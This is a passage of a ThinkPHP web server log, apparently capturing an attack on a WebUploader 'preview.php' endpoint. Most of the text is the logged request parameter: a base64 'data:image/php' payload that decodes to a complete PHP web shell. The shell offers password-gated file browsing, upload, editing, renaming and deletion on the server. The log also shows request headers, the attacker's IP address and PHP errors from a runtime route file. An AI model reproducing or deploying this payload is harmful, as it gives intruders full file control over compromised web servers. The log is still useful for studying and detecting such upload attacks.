like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:08:33+08:00 ] 119.42.146.234 POST 59.110.137.245/statics/webuploader/0.1.15/server/preview.php [运行时间:0.002963s] [吞吐率:337.49req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'statics', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 